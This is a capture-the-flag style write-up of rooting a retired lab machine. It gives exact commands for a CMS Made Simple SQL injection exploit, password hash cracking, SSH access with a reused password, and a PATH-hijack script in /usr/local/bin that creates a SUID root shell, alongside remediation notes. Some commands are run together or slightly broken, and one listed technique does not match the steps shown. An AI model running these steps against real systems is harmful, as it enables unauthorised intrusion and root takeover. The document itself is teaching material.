Writeup
Summary
I discovered a hidden CMS installation advertised by the server's own robots.txt file, then exploited a public SQL injection vulnerability in CMS Made Simple to extract and crack the administrator's password hash. That same password was reused as the SSH credential for the local Linux account 'jkr', giving direct server access.
Once inside, my found that jkr's 'staff' group membership granted write access to /usr/local/bin — a directory root searches before the system bin directories — and planted a malicious script there that root automatically executed on the next SSH login, yielding full system control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 22,80 $TARGETcurl -s http://$TARGET/robots.txtFixRemove sensitive application paths from robots.txtLow
Exact commands 3
curl -s http://$TARGET/writeup/ | grep -i 'cms made simple\|version'curl -s http://$TARGET/writeup/doc/CHANGELOG.txt | head -10searchsploit 'CMS Made Simple 2.2'Exact commands 3
cp /usr/share/exploitdb/exploits/php/webapps/46635.py /tmp/46635_fixed.pysed -i '/from termcolor/d' /tmp/46635_fixed.py && sed -i "1idef colored(s,*args,**kwargs): return s\ndef cprint(s,*args,**kwargs): print s" /tmp/46635_fixed.pypython2 /tmp/46635_fixed.py -u http://$TARGET/writeup/ --crack -w /usr/share/wordlists/rockyou.txtFixUpgrade CMS Made Simple to version 2.2.10 or later (CVE-2019-9053)Critical
Exact commands 2
echo '$PASSWORD2:$PASSWORD3' > /tmp/cmsms_hash.txthashcat -m 20 -a 0 /tmp/cmsms_hash.txt /usr/share/wordlists/rockyou.txt --quietFixReplace salted MD5 password storage with a modern slow hash algorithmHigh
Exact commands 2
ssh jkr@$TARGETcat /home/jkr/user.txtFixEnforce unique passwords — never share credentials between applications and OS accountsHigh
Exact commands 3
idls -la /usr/local/bin /usr/local/sbinecho $PATHExact commands 3
cat > /usr/local/bin/run-parts << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/run-parts "$@"
EOFchmod +x /usr/local/bin/run-partsssh jkr@$TARGET exitFixRemove staff-group write access from system binary directories in root's PATHCritical
Exact commands 3
/tmp/rootbash -pcat /root/root.txtrm -f /usr/local/bin/run-parts /usr/local/sbin/run-parts /tmp/rootbashAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.25 ((Debian)) |